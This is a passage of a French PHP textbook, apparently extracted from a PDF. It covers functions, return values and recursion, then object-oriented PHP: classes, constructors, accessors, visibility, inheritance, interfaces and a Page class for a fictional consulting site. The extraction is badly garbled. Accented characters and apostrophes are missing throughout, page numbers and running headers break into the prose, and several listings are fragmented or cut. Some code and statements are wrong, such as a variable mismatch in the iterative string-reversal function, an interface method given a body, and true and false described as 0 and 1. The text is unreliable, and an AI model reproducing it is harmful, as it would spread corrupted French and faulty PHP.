Dans cet exemple, la variable $var est explicitement dfinie comme globale. Aprs
lappel de la fonction fn(), la variable continue donc dexister en dehors de la fonction.
Lexcution de ce fragment de code produit laffichage suivant :
Dans la fonction, $var = contenu
En dehors de la fonction, $var = contenu
Notez que la porte de la variable commence au point o la ligne global $var; est
excute. Nous aurions aussi bien pu placer la dclaration de la fonction aprs quavant
la ligne contenant lappel de la fonction. Une dclaration de fonction peut tre indiffremment place en nimporte quel point dun script. En revanche, la position de lappel
166
Partie I
Utilisation de PHP
Ce code ne produit pourtant pas le rsultat escompt : lexcution des lignes suivantes
affichera "10" :
$valeur = 10;
incrementer($valeur);
echo $valeur;
Chapitre 5
167
Ainsi formule, notre fonction effectue le traitement attendu et nous avons toute libert
pour le choix du nom de la variable incrmenter. Comme nous lavons dj
mentionn, lutilisation dun mme nom de variable lintrieur et lextrieur dune
fonction est source de confusion, si bien que nous attribuerons un nouveau nom la
variable utilise dans le script principal. Le code de test qui suit conduit laffichage du
nombre 10 dans la fentre du navigateur avant lappel de la fonction incrementer() et
du nombre 11 aprs lappel de la fonction.
$a = 10;
echo $a . <br />;
incrementer($a);
echo $a . <br />;
168
Partie I
Utilisation de PHP
Cette utilisation du mot-cl return nest videmment pas des plus utiles. Normalement, le mot-cl return semploie pour sortir dune fonction, au milieu de celle-ci,
lorsquune certaine condition a t vrifie.
Une condition derreur est une raison typique dutiliser une instruction return pour
interrompre lexcution dune fonction avant sa fin. Par exemple, supposez quil nous
faille crire une fonction dterminant quel est le plus grand de deux nombres. Il faudrait
que lexcution de la fonction puisse tre interrompue si lun des deux nombres na pas
t fourni.
function superieur( $x, $y ) {
if (!isset($x) ||!isset($y) ) {
echo "Cette fonction attend deux nombres.";
return;
}
if ($x >= $y) {
echo $x;
} else {
echo $y;
}
}
Chapitre 5
169
La fonction superieur() renvoie prsent la plus grande des deux valeurs qui lui sont
passes en paramtres. Elle renverra une valeur qui sera de toute vidence fausse en
cas derreur : si lun des nombres comparer nest pas fourni, la fonction retourne
false. La seule difficult avec cette approche est que les programmeurs appelant cette
fonction doivent tester le type du retour avec == pour sassurer de ne pas confondre
false avec 0.
titre de comparaison, la fonction max() ne renvoie rien si les deux variables nont pas
t dfinies. Si une seule a t dfinie, cest elle qui est renvoye.
Le code qui suit :
$a =
echo
echo
echo
1; $b = 2.5; $c =
superieur($a, $b)
superieur($c, $a)
superieur($d, $a)
1.9;
. "<br />";
. "<br />";
. "<br />";
produit le rsultat suivant parce que $d nexiste pas et que false nest pas visible :
2.5
1.9
Souvent, les fonctions qui effectuent certains traitements, mais qui nont pas besoin de
renvoyer de valeur, renvoient les valeurs true ou false pour signaler si elles ont russi
ou chou. Les valeurs boolennes true et false peuvent tre respectivement reprsentes
par 0 et 1, bien quil sagisse de types diffrents.
170
Partie I
Utilisation de PHP
Rcursivit
Une fonction rcursive est une fonction qui sappelle elle-mme. Ce type de fonction se
rvle particulirement utile pour naviguer dans des structures de donnes dynamiques,
comme les listes chanes et les arborescences.
Toutefois, les applications web qui requirent des structures de donnes dune telle
complexit sont assez rares, si bien que la rcursivit nest que rarement exploite en
PHP. Dans nombre de cas, elle peut tre utilise la place dune structure itrative,
parce quelle consiste galement effectuer des rptitions du code. Cependant, les
fonctions rcursives tant plus lentes et consommant plus de mmoire que leurs homologues itratives, vous avez tout intrt prfrer les itrations aux rcursions lorsque
cest possible.
Pour que cette tude soit complte, nous allons quand mme examiner lexemple
simple prsent dans le Listing 5.5.
Listing 5.5 : recursion.php Une chane peut tre facilement inverse au moyen
dune fonction rcursive. La version itrative est galement donne.
function inverser_recursive($chaine) {
if (strlen($chaine) > 0) {
inverser_recursive(substr($chaine, 1));
}
echo substr($chaine, 0, 1);
return;
}
function inverser_iterative($chaine) {
for ($i=1; $i<=strlen($chaine); $i++) {
echo substr($str, -$i, 1);
}
return;
}
Le Listing 5.5 contient deux fonctions qui affichent toutes deux lenvers la chane qui
leur est fournie en paramtre. La fonction inverser recursive () est rcursive, tandis
que la fonction inverser iterative () est itrative.
inverser recursive () prend une chane en paramtre. Lorsquelle est appele, elle
opre en sappelant elle-mme et en se passant chaque fois la sous-chane comprise
entre le deuxime et le dernier caractre de la chane. Cet appel, par exemple :
inverser_recursive(Bonjour);
Chapitre 5
inverser_recursive
inverser_recursive
inverser_recursive
inverser_recursive
171
(our);
(ur);
(r);
();
chaque fois que la fonction sappelle elle-mme, une nouvelle copie du code de la
fonction est effectue dans la mmoire du serveur, mais avec un paramtre diffrent.
Tout se passe comme si une fonction diffrente tait appele chaque fois. Ce fonctionnement permet dviter la confusion entre les diffrentes instances de la fonction.
chaque appel, la longueur de la chane est value. Lorsque linterprteur PHP atteint
la fin de la chane (strlen()==0), la condition nest plus satisfaite. Linstance de la
fonction la plus rcente (inverser recursive ()) se poursuit par lexcution de
la prochaine ligne de code, laquelle commande dafficher le premier caractre de la
chane passe en paramtre. ce stade, il ny a pas de caractre, parce que la chane est
vide.
Ensuite, cette instance de la fonction redonne le contrle linstance qui la appele,
cest--dire inverser recursive (r). Celle-ci affiche le premier caractre de sa
chane, en loccurrence r, et redonne le contrle linstance qui la appele.
Le processus se poursuit ainsi, affichant un caractre puis redonnant le contrle
linstance prcdente de la fonction selon lordre dappel, jusqu ce que le contrle soit
redonn au programme principal.
Les solutions rcursives sont lgantes et ont un aspect mathmatique indniable mais,
le plus souvent, la solution itrative leur est prfrable. Le Listing 5.5 donne galement
lquivalent itratif de la fonction inverser recursive : vous pouvez remarquer que
cette variante nest pas plus longue (ce qui nest pas toujours vrai de toutes les fonctions
itratives) et quelle produit exactement le mme rsultat.
La fonction rcursive se distingue principalement de la fonction itrative par le fait
quelle effectue des copies delle-mme dans la mmoire et gnre plusieurs appels de
fonction, ce qui est coteux en termes de mmoire et de temps dexcution.
Peut-tre choisirez-vous des solutions rcursives lorsquelles permettent dcrire un
code plus court et plus lgant que la version itrative, mais cela ne se produit pas
souvent dans le domaine des applications web.
Bien que la rcursion apparaisse plus lgante, les programmeurs oublient souvent de
fournir une condition de terminaison dans leurs fonctions rcursives. Dans ce cas,
lexcution rcursive de la fonction se poursuit jusqu ce que le serveur soit court de
mmoire ou que le temps dexcution maximal ait t dpass.
172
Partie I
Utilisation de PHP
Pour la suite
Vous savez prsent amliorer la maintenabilit et la rutilisabilit de votre code par le
recours des fichiers de type "include" et "require" et des fonctions. Nous allons
donc pouvoir poursuivre notre tude par laspect orient objet du langage PHP. Lutilisation dobjets rpond aux mmes objectifs que ceux des concepts dcrits dans ce
chapitre, mais avec plus davantages encore lorsque les projets sont complexes.
6
PHP orient objet
Ce chapitre prsente les concepts de la programmation oriente objet (POO) et montre
comment ils peuvent tre implments en PHP.
Limplmentation de la POO en PHP possde toutes les fonctionnalits que vous seriez
en droit dattendre dun langage orient objet complet. Nous signalerons chacune de
ces fonctionnalits mesure que nous avancerons dans ce chapitre.
174
Partie I
Utilisation de PHP
proprit, tandis que le terme opration est utilis de manire interchangeable avec le
terme mthode).
Le principal avantage dun logiciel orient objet rside dans sa capacit prendre en
charge et encourager lencapsulation, galement appele masquage de donnes. Pour
lessentiel, les donnes contenues dans un objet ne sont accessibles que par le biais des
oprations de celui-ci, qui forment linterface de lobjet.
La fonctionnalit dun objet est lie aux donnes quil utilise. Les dtails de limplmentation dun objet peuvent tre facilement modifis pour amliorer les performances,
ajouter de nouvelles caractristiques ou corriger des bogues, sans quil soit ncessaire
de changer linterface. Le fait de modifier cette interface peut, en effet, avoir des rpercussions en cascade dans le projet, alors que lencapsulation vous permet deffectuer
des modifications et de raliser des corrections de bogues sans que vos actions ne se
rpercutent dans les autres parties du projet.
Dans les autres secteurs du dveloppement logiciel, la POO sest impose comme la norme
et le dveloppement orient fonctions est dsormais considr comme dmod. Cependant, pour diverses raisons, la plupart des scripts web restent malheureusement conus et
crits avec une approche ad hoc, utilisant une mthodologie oriente fonctions.
Ce "retard" a plusieurs causes. Une majorit de projets web sont de petite taille et relativement simples. Nul besoin dlaborer un plan dtaill pour construire une tagre
avec une scie. De la mme manire, la plupart des projets logiciels pour le Web peuvent
tre raliss de cette faon parce quils sont de petite taille. En revanche, si vous prenez
votre scie pour construire une maison sans avoir formellement planifi vos travaux,
vous ne pourrez pas obtenir des rsultats de qualit, si tant est que vous obteniez des
rsultats. Il en va exactement de mme pour les projets logiciels importants.
Nombre de projets web voluent dun ensemble de pages relies entre elles par des
hyperliens vers des applications complexes. Ces applications complexes, quelles
soient prsentes via des botes de dialogue et des fentres ou via des pages HTML
dynamiques, requirent une mthodologie de dveloppement mrement rflchie.
Lorientation objet peut aider grer la complexit des projets logiciels, augmenter la
rutilisabilit du code et, par consquent, rduire les cots de maintenance.
En POO, un objet est une collection unique et identifiable de donnes et doprations
agissant sur ces donnes. Par exemple, considrons le cas de deux objets reprsentant
des boutons. Mme si ces boutons portent tous deux lintitul "OK", ont une largeur de
60 pixels, une hauteur de 20 pixels et divers autres attributs identiques, nous devons
pouvoir les distinguer et les manipuler sparment lun de lautre. Dun point de vue
logiciel, cette distinction seffectue via des variables spares, qui servent de descripteurs
(didentificateurs uniques) pour les objets.
Chapitre 6
175
Les objets peuvent tre regroups en "classes". Une classe est un ensemble dobjets qui
peuvent tre diffrents les uns des autres, mais qui ont certains points communs. Une
classe contient des objets qui prsentent tous des oprations se comportant de la mme
manire et des attributs identiques reprsentant les mmes choses, bien que les valeurs
de ces attributs puissent varier dun objet lautre au sein de la classe.
Vous pouvez ainsi considrer le nom bicyclette comme celui dune classe dobjets qui
dcrit les nombreuses bicyclettes distinctes qui prsentent toutes des caractristiques ou
attributs communs, comme deux roues, une couleur et une taille, et des oprations,
comme le dplacement.
Ma propre bicyclette pourrait ainsi tre considre comme un objet appartenant la
classe bicyclette. Elle a des caractristiques identiques toutes les bicyclettes, y
compris lopration de dplacement, qui est tout fait comparable lopration de
dplacement des autres bicyclettes, mme si elle nest utilise que trs rarement. Les
attributs de ma bicyclette ont toutefois des valeurs qui leur sont propres ; par exemple,
sa couleur est verte, ce qui nest pas le cas de toutes les bicyclettes.
Polymorphisme
Un langage de programmation orient objet doit prendre en charge le polymorphisme,
qui signifie que diffrentes classes peuvent avoir des comportements diffrents pour la
mme opration. Par exemple, supposez que nous ayons dfini une classe voiture et une
classe bicyclette. Ces deux classes peuvent avoir des oprations de dplacement diffrentes. Dans lunivers des objets rels, cette diffrentiation pose rarement problme : il
est peu probable en effet quune bicyclette soit confondue avec une voiture et dmarre
avec une opration de dplacement de voiture au lieu dune opration de dplacement
de bicyclette. En revanche, un langage de programmation ne possde pas le sens
commun du monde rel : il doit par consquent disposer du polymorphisme pour quil
soit possible de distinguer lopration de dplacement approprie un objet particulier.
Le polymorphisme est plus une caractristique des comportements que des objets euxmmes. En PHP, seules les fonctions membres dune classe peuvent tre polymorphiques. Les verbes des langages naturels sont un peu lquivalent dans le monde rel
des fonctions membres dune classe. Considrez la manire dont peut tre utilise une
bicyclette dans la vie relle. Vous pouvez la nettoyer, la dplacer, la dmonter, la rparer
ou la peindre, entre autres choses.
Les verbes de cette dernire phrase dcrivent des actions gnriques parce que le type
dobjet auquel ils peuvent tre appliqus nest pas prcis (ce type dabstraction concernant les objets et les actions est, du reste, lune des caractristiques distinctives de
lintelligence humaine).
176
Partie I
Utilisation de PHP
Le dplacement dune bicyclette, par exemple, exige des actions totalement diffrentes
de celles requises pour dplacer une voiture, mme si les concepts sont similaires. Le
verbe "dplacer" peut donc tre associ un ensemble particulier dactions, mais
uniquement aprs que lobjet auquel il sapplique a t dfini.
Hritage
Lhritage permet de crer une relation hirarchique entre les classes au moyen de sousclasses. Une sous-classe hrite des attributs et des oprations de sa superclasse. Les
voitures et les bicyclettes ont, par exemple, des points communs et nous pourrions donc
dfinir une classe vhicule contenant des attributs comme la couleur et des oprations
comme le dplacement qui sont communs tous les vhicules. Il suffirait ensuite de
laisser les classes voiture et bicyclette hriter de la classe vhicule.
Les termes sous-classe, classe drive et classe fille sont utiliss de manire interchangeable. Il en va de mme des termes superclasse, classe de base et classe parente.
Grce au concept dhritage, nous pouvons laborer et enrichir lensemble des classes
existantes. partir dune simple classe de base, des classes plus complexes et plus
spcialises peuvent tre cres au fur et mesure des besoins. Cette approche rend le
code plus rutilisable et constitue lun des atouts indniables de la programmation
oriente objet.
Exploiter la notion dhritage peut permettre dconomiser du temps et des efforts de
dveloppement lorsque des oprations peuvent tre implmentes une seule fois dans
une superclasse, au lieu de ltre chaque fois dans des sous-classes spares. Cette
approche favorise galement une modlisation plus prcise des relations du monde rel.
Lorsque la phrase dcrivant la relation entre deux classes peut contenir les mots "est un"
ou "est une", alors, le concept dhritage peut tre exploit. La phrase "une voiture est
un vhicule", par exemple, est tout fait sense, tandis que la phrase "un vhicule est
une voiture" nest pas vraie dans le monde rel. Par consquent, les voitures peuvent
hriter de la classe vhicule.
Chapitre 6
177
Pour quune classe ait une quelconque utilit, elle doit tre dote dattributs et doprations. Pour crer des attributs, il faut dclarer des variables au sein dune dfinition de
classe en les prcdant de mots-cls indiquant leur visibilit : public, private ou
protected (ces mots-cls seront prsents plus loin dans ce chapitre). Le code qui suit
cre une classe nomclasse dote des deux attributs publics, $attribut1 et $attribut2 :
class classname {
public $attribut1;
public $attribut2;
}
La cration doprations dans une classe seffectue en dclarant des fonctions dans la
dfinition de la classe. Le code suivant cre une classe nomclasse dote de deux oprations qui neffectuent rien de particulier. Lopration operation1() ne prend aucun
paramtre, tandis que operation2() attend deux paramtres.
class nomclasse {
function operation1() {}
function operation2($param1, $param2) {}
}
Constructeurs
La plupart des classes disposent dun type spcial dopration appel constructeur. Un
constructeur est appel lors de la cration dun objet et effectue gnralement des tches
dinitialisation comme lassignation de valeurs initiales aux attributs ou la cration
dautres objets ncessaires lobjet concern.
Un constructeur se dclare de la mme manire que les autres oprations, sauf quil
porte le nom spcial construct().
Bien quun constructeur puisse tre appel manuellement, son rle principal est dtre
appel automatiquement la cration dun objet. Le code qui suit dclare une classe
dote dun constructeur :
class nomclasse {
function _ _construct($param) {
echo "Constructeur appel avec le paramtre " . $param . "<br />";
}
}
Destructeurs
Loppos dun constructeur est un destructeur. Les destructeurs permettent dexcuter
un traitement particulier juste avant quun objet ne soit dtruit, ce qui aura lieu automatiquement lorsque toutes les rfrences cet objet ont t indfinies ou hors de porte.
Le destructeur dune classe doit sappeler destruct() et ne peut prendre aucun paramtre.
178
Partie I
Utilisation de PHP
Chapitre 6
179
class nomclasse {
public $attribut;
}
$a = new nomclasse();
$a->attribut = "valeur";
echo $a->attribut;
Il est toutefois dconseill daccder directement aux attributs depuis lextrieur dune
classe. Lun des intrts de lapproche oriente objet rside justement dans le fait que
lencapsulation y est encourage.
Vous pouvez garantir cette encapsulation laide des fonctions _ _get et _ _set. Au lieu
daccder directement aux attributs dune classe, vous pouvez crire des fonctions
accesseurs de sorte effectuer tous vos accs par le biais dune seule section de code.
Une fonction accesseur peut se formuler de la manire suivante :
class nomclasse {
public $attribut;
function _ _get($nom) {
return $this->$nom;
}
function _ _set ($nom, $valeur) {
$this->$nom = $valeur;
}
}
Ce code se contente de fournir des fonctions minimales permettant daccder lattribut $attribut. La fonction _ _get() renvoie simplement la valeur de $attribut, tandis
que la fonction set() affecte une nouvelle valeur $attribut.
Notez que _ _get() ne prend quun seul paramtre le nom dun attribut et renvoie la
valeur de cet attribut. De manire similaire, la fonction _ _set() prend deux paramtres :
le nom dun attribut et la valeur que vous souhaitez lui donner.
Ces fonctions ne sappellent pas directement. Le double blanc soulign devant le nom
indique que ces fonctions possdent une signification spciale en PHP, tout comme les
fonctions _ _construct() et _ _destruct().
Si vous instanciez la classe :
$a = new nomclasse();
vous pouvez utiliser les fonctions _ _get() et _ _set() pour tester et modifier la valeur
de nimporte quel attribut.
Si vous tapez :
$a->$attribut = 5;
cette instruction appellera implicitement la fonction _ _set() avec la valeur $nom positionne "attribut" et la valeur $valeur initialise 5. Si vous souhaitez effectuer
180
Partie I
Utilisation de PHP
des contrles sur les valeurs affectes lattribut, vous devez crire la fonction _ _set()
en consquence.
La fonction _ _get() fonctionne de manire similaire. Dans votre code, si vous crivez :
$a->attribut
lexpression appellera implicitement la fonction _ _get() avec le paramtre $nom positionn "attribut". Cest vous dcrire la fonction _ _get() pour retourner la valeur
de lattribut.
Au premier coup dil, ce code peut sembler navoir que peu ou pas dintrt. Sous sa
forme actuelle, cest probablement le cas, mais il existe une raison simple de proposer
des fonctions daccs : vous naurez alors quune unique section de code qui accde
cet attribut particulier.
Avec un seul point daccs, vous pouvez implmenter des contrles de validit afin de
vous assurer que les donnes stockes sont cohrentes. Si vous jugez par la suite que la
valeur de $attribut doit tre comprise entre 0 et 100, vous pouvez ajouter quelques
lignes de code et oprer la vrification avant dautoriser les modifications. Vous pourriez
ainsi modifier la fonction _ _set() de la manire suivante :
function _ _set ($nom, $valeur) {
if( $nom == "attribut" && $valeur >= 0 && $valeur <= 100 ) {
$this->attribut = $valeur;
}
}
Avec un unique point daccs, vous tes libre de modifier limplmentation sous-jacente.
Si, pour une raison ou pour une autre, vous deviez modifier la manire dont $attribut
est stock, les fonctions accesseurs vous permettraient de le faire en ne modifiant le
code qu un seul emplacement.
Il se peut que vous dcidiez, au lieu de stocker $attribut sous forme de variable, de le
rcuprer partir dune base de donnes selon les besoins, de calculer une nouvelle
valeur chaque fois quelle est requise, de dduire une valeur partir de valeurs
dautres attributs ou dencoder les donnes sous un type de donnes plus compact.
Quelle que soit la modification que vous souhaitiez oprer, il suffit de modifier les fonctions accesseurs. Les autres sections du code ne seront pas affectes, pour autant que
vous faites en sorte que les fonctions accesseurs continuent daccepter ou de renvoyer
les donnes que les autres parties du programme sattendent pouvoir utiliser.
Chapitre 6
181
Loption par dfaut est public. Cela signifie que, si vous navez pas spcifi de
modificateur daccs pour un attribut ou une mthode, ceux-ci seront publics.
Laccs aux lments publics peut se faire depuis lintrieur ou lextrieur de la
classe.
Le modificateur daccs private signifie quil nest possible daccder llment
marqu que depuis lintrieur de la classe. Vous pouvez lutiliser sur tous les attributs si vous nutilisez pas _ _get() et _ _set(). Vous pouvez galement choisir de
rendre certaines mthodes prives, par exemple sil sagit de fonctions utilitaires
utiliser lintrieur de la classe uniquement. Les lments privs ne sont pas hrits
(nous y reviendrons dans la suite de ce chapitre).
Le modificateur daccs protected signifie que lon ne peut accder llment
marqu que depuis lintrieur de la classe. Il existe galement dans toutes les sousclasses. Nous reviendrons aussi sur cette question lorsque nous traiterons de lhritage dans la suite de ce chapitre. Pour linstant, considrez que protected est midistance entre private et public.
Ici, chaque membre de classe est prcd dun modificateur daccs qui indique sil est
priv ou public. Le mot-cl public peut tre omis car il sagit du rglage par dfaut,
mais le code est plus simple comprendre lorsque vous lincluez, notamment si vous
utilisez dautres modificateurs.
182
Partie I
Utilisation de PHP
nous pouvons appeler des oprations en procdant de la mme faon que pour lappel
dautres fonctions : en spcifiant leur nom, suivi des paramtres requis, placs entre
parenthses. Ces oprations appartenant un objet, la diffrence des fonctions normales, il est ncessaire de prciser lobjet concern. Le nom de cet objet est indiqu de la
mme manire que pour ses attributs :
$a->operation1();
$a->operation2(12, "test");
Si les oprations renvoient des valeurs, elles peuvent tre rcupres de la manire
suivante :
$x = $a->operation1();
$y = $a->operation2(12, "test");
tous les accs suivants aux attributs et oprations dun objet de la classe B seraient
corrects :
$b = new B();
$b->operation1();
$b->attribut1 = 10;
$b->operation2();
$b->attribut2 = 10;
Chapitre 6
183
$a = new A();
$a->operation1();
$a->attribut1 = 10;
$a->operation2();
$a->attribut2 = 10;
Ce code cre une opration de chaque type dans la classe A : public, protected et
private. B hrite de A. Dans le constructeur de B, vous essayez donc dappeler des
oprations du parent.
La ligne suivante :
$this->operation1();
184
Partie I
Utilisation de PHP
Cet exemple montre que les oprations prives ne peuvent pas tre appeles depuis une
classe fille.
Si vous mettez cette ligne en commentaire, vous remarquerez que les deux autres appels
de fonction marchent bien. La fonction protected est hrite mais elle ne peut tre
utilise que depuis lintrieur de la classe fille, comme nous le faisons ici. Si vous
essayez dajouter la ligne suivante :
$b->operation2();
Chapitre 6
185
Ce rsultat montre bien que la cration de B na pas affect A. Si nous crons un objet de
type B, nous obtiendrons un rsultat diffrent.
Les lignes suivantes :
$b = new B();
$b -> operation();
produiront :
Autre chose
La valeur de $attribut est Valeur diffrente
De la mme manire que fournir de nouveaux attributs ou oprations dans une sousclasse naffecte pas la superclasse, la redfinition dattributs ou doprations dans une
sous-classe naffecte pas la superclasse.
Une sous-classe hrite de tous les attributs et oprations non privs de sa superclasse,
moins que vous effectuiez des remplacements. Si vous fournissez une dfinition de
remplacement, celle-ci devient prpondrante et remplace la dfinition dorigine.
Le mot-cl parent vous permet dappeler la version originale de lopration dans la
classe parente. Par exemple, pour appeler lopration A::operation depuis lintrieur
de la classe B, vous utiliseriez :
parent::operation();
La sortie produite est cependant diffrente. Bien que vous appeliez lopration depuis la
classe parente, PHP utilise les valeurs dattribut de la classe courante. Vous obtiendrez
donc la sortie suivante :
Quelque chose
La valeur de $attribut est Valeur diffrente
Lhritage peut tre implment sur plusieurs niveaux. Par exemple, nous pourrions
dclarer une classe appele C qui hrite de B, cest--dire qui hrite la fois des
proprits de B et de celles du parent de B, cest--dire de A. Tout comme pour la classe B,
nous serions libres de redfinir et de remplacer dans la classe C des attributs et oprations
des parents.
186
Partie I
Utilisation de PHP
Vous pouvez galement utiliser le mot-cl final pour empcher la cration de sousclasses partir dune classe. Pour empcher la cration de sous-classes partir de la
classe A, ajoutez le mot-cl de la manire suivante :
final class A {...}
Si vous essayez ensuite dhriter de A, vous obtiendrez une erreur comme celle-ci :
Fatal error: Class B may not inherit from final class (A)
Hritage multiple
Quelques langages OO (dont C++ et Smalltalk) prennent en charge lhritage multiple
mais, comme la plupart des autres, ce nest pas le cas de PHP. Il sensuit que chaque
classe ne peut hriter que dun seul parent. En revanche, aucune restriction nimpose
une limite sur le nombre denfants que peut engendrer un mme parent.
Les implications de cet tat de fait ne sont pas ncessairement videntes premire vue.
La Figure 6.1 montre trois modes dhritage diffrents.
Figure 6.1
B
B
Hritage simple
C
Hritage simple
C
Hritage multiple
Chapitre 6
187
Dans le mode le plus gauche, la classe C hrite de la classe B, qui hrite son tour de
la classe A. Chaque classe possde au plus un parent : ce mode dhritage unique est
parfaitement valide en PHP.
Dans le mode du centre, les classes B et C hritent toutes deux de la classe A. L encore,
chaque classe possde au plus un parent : ce mode dhritage unique est galement valide
en PHP.
Dans le mode le plus droite, la classe C hrite la fois des classes A et B. Dans ce cas,
la classe C possde deux parents : il sagit l dune situation dhritage multiple, non
supporte par PHP.
Implmentation dinterfaces
Si vous devez implmenter une fonctionnalit analogue lhritage multiple, vous
pouvez le faire grce aux interfaces, qui sont un moyen de contourner labsence de
lhritage multiple. Leur implmentation est semblable celle des autres langages
orients objet, dont Java.
Le principe dune interface consiste prciser un ensemble de fonctions qui devront tre
implmentes dans les classes qui implmentent linterface. Par exemple, vous pourriez
souhaiter quun ensemble de classes soient capables de safficher. Au lieu de crer une
classe parente avec une fonction Afficher() dont hriteraient toutes les sous-classes et
quelles redfiniraient, vous pouvez utiliser une interface de la manire suivante :
interface Affichable {
function Afficher(){
}
class pageWeb implements Affichable {
function Afficher() {
// ...
}
}
Cet exemple prsente une alternative lhritage multiple car la classe pageWeb peut
hriter dune seule classe et implmenter une ou plusieurs interfaces.
Si vous nimplmentez pas les mthodes spcifies dans linterface (dans le cas prsent,
Afficher()), vous obtiendrez une erreur fatale.
Conception de classes
Maintenant que nous avons pass en revue les principaux concepts de lapproche oriente objet concernant les objets et les classes, ainsi que la syntaxe de leur implmentation en PHP, nous pouvons nous intresser la conception de classes qui nous seront
utiles.
188
Partie I
Utilisation de PHP
Souvent, les classes implmentes dans le code reprsentent des classes ou des catgories dobjets rels. Dans le cadre dun dveloppement web, les classes peuvent notamment servir reprsenter des pages web, des composants dinterface utilisateur, des
paniers virtuels, des gestionnaires derreur, des catgories de produits ou des clients.
Les objets de votre code peuvent galement reprsenter des instances spcifiques des
classes numres plus haut, comme une page daccueil, un bouton particulier ou le
panier dachat de Jean Dupont un moment donn. Jean Dupont lui-mme pourrait
dailleurs tre reprsent par un objet de type client. Chaque article achet par Jean peut
tre reprsent sous la forme dun objet, appartenant une catgorie ou une classe.
Dans le chapitre prcdent, nous nous sommes servis de fichiers inclus pour donner une
apparence cohrente toutes les pages du site de lentreprise fictive TLA Consulting.
Une version plus labore de ce site pourrait tre obtenue en utilisant des classes et en
exploitant le concept puissant dhritage.
Nous voulons maintenant pouvoir ajouter rapidement de nouvelles pages web au site de
TLA, qui aient la mme prsentation et un comportement similaire. Nous voulons
toutefois tre en mesure de modifier ces pages pour les adapter aux diffrentes parties
du site.
Pour les besoins de cet exemple, nous allons crer une classe Page dont le rle principal
est de limiter la quantit de code HTML ncessaire la cration dune nouvelle page.
Cette classe devra nous permettre de modifier les sections qui changent dune page
lautre, tout en produisant automatiquement les lments communs toutes les pages.
La classe Page devra donc fournir un cadre flexible pour la cration de nouvelles
pages, sans compromettre notre libert.
Comme les pages seront produites partir dun script et non avec du code HTML statique,
nous pouvons implmenter diverses possibilits astucieuses :
m
Chapitre 6
189
Notre classe doit contenir des attributs. Nous dfinirons comme attributs de la classe
Page les lments appels changer dune page lautre. Nous appellerons $contenu le
contenu principal de la page, qui sera une combinaison de balises HTML et de texte.
$contenu peut tre dclar dans la dfinition de la classe par la ligne de code suivante :
public $contenu;
Nous pouvons galement dfinir des attributs pour stocker le titre de la page. Pour que
les visiteurs du site identifient clairement la page consulte, ce titre changera dune
page lautre. Pour viter laffichage de titres vides, nous dfinirons un titre par dfaut :
public $titre = "TLA Consulting Pty Ltd";
La plupart des pages web des sites commerciaux contiennent des mtabalises destines
aider les moteurs de recherche dans leur indexation. Pour que ces mtabalises soient
utiles, elles doivent changer dune page lautre. L encore, nous fournirons une valeur
par dfaut:
public $mots_cles = "TLA Consulting, Three Letter Abbreviation,
les moteurs de recherche sont mes amis";
Les boutons de navigation montrs sur la page modle de la Figure 5.2 (voir le chapitre
prcdent) resteront probablement identiques dune page lautre afin de ne pas semer
la confusion dans lesprit du visiteur. Toutefois, pour faciliter la modification de ces
boutons, nous les implmenterons galement sous la forme dattributs. Le nombre de
boutons pouvant tre appel changer, nous utiliserons un tableau dans lequel nous
stockerons la fois lintitul du bouton et lURL pointe.
190
Partie I
Utilisation de PHP
Pour que la classe Page fournisse des fonctionnalits, nous devons la munir doprations. Pour commencer, nous pouvons lui ajouter des fonctions accesseurs qui nous
permettront de dfinir et de rcuprer la valeur des attributs que nous venons de crer :
public function _ _set($nom, $valeur)
{
$this->$nom = $valeur;
}
Outre quelques instructions echo simple qui affichent le texte HTML, cette fonction
comprend essentiellement des appels dautres fonctions de la classe. Comme le laissent deviner leurs noms, ces autres fonctions affichent des parties distinctes de la page.
Un tel dcoupage en fonctions nest pas indispensable et nous aurions trs bien pu
combiner ces diffrentes fonctions en une seule. Nous avons toutefois choisi ce dcoupage pour diverses raisons.
Chaque fonction doit, en principe, accomplir une tche bien dfinie. Plus la tche est
simple, plus la fonction est facile tester. Ne poussez toutefois pas cette modularisation
trop loin : un programme morcel en trop dunits risque dtre difficile lire.
Grce au concept dhritage, nous avons la possibilit de redfinir des oprations. Nous
pouvons redfinir une fonction Afficher() volumineuse, mais il est peu probable que
nous soyons amens changer la manire dont toute la page est affiche. Il est par
Chapitre 6
191
consquent prfrable de diviser la fonctionnalit daffichage en quelques tches autonomes, de sorte pouvoir redfinir les seules parties qui doivent tre modifiables.
La fonction Afficher() invoque AfficherTitre(), AfficherMotsCles(), AfficherS
tyles(), AfficherEntete(), AfficherMenu() et AfficherPied(). Nous devons donc
dfinir ces oprations. En PHP, nous pouvons crire les oprations ou fonctions dans cet
ordre logique, en appelant lopration ou la fonction avant que son code nait t crit,
alors que dans de nombreux autres langages de programmation la fonction ou lopration
doivent tre crites avant dtre appeles.
La plupart des oprations sont relativement simples et se contentent dafficher du code
HTML et, ventuellement, le contenu des attributs.
Le Listing 6.1 donne lintgralit du code de la classe Page. Ce script est enregistr
dans le fichier page.inc, pour tre inclus dans dautres fichiers.
Listing 6.1 : page.inc La classe Page constitue un moyen facile et flexible de cration
de pages pour le site TLA Consulting
<?php
class Page {
// Attributs de la classe Page
public $contenu;
public $titre = "TLA Consulting Pty Ltd";
public $mots_cles = "TLA Consulting, Three Letter Abbreviation,
les moteurs de recherche sont mes amis";
public $boutons = array( "Accueil" => "acceuil.php",
"Contacts" => "contacts.php",
"Services" => "services.php",
"Carte du site" => "carte.php"
);
// Oprations de la classe Page
public function _ _set($nom, $valeur) {
$this->$nom = $valeur;
}
public function Afficher() {
echo "<html>\n<head>\n";
$this -> AfficherTitre();
$this -> AfficherMotsCles();
$this -> AfficherStyles();
echo "</head>\n<body>\n";
$this -> AfficherEntete();
$this -> AfficherMenu($this->boutons);
echo $this->contenu;
$this -> AfficherPied();
echo "</body>\n</html>\n";
}
public function AfficherTitre() {
echo "<title>" . $this->titre . "</title>";
}
192
Partie I
Utilisation de PHP
Chapitre 6
193
194
Partie I
Utilisation de PHP
La classe Page comprend deux autres oprations que celles cites dans le paragraphe
prcdent. Lopration AfficherBouton() produit un simple bouton de menu. Si ce
bouton doit pointer sur la page courante, il est remplac par un bouton inactif, dapparence lgrement diffrente et ne pointant sur aucune page. Cette astuce permet de
conserver une prsentation cohrente des pages du site et donne aux visiteurs une indication sur leur localisation dans le site.
Lopration EstPageCourante() dtermine si lURL qui lui a t passe en paramtre
pointe sur la page courante. Il existe de nombreuses techniques pour crire ce type de
test ; ici, nous faisons appel la fonction strpos() pour dterminer si lURL est contenue
dans lune des variables de serveur. Linstruction strpos( $ SERVER[PHP SELF],
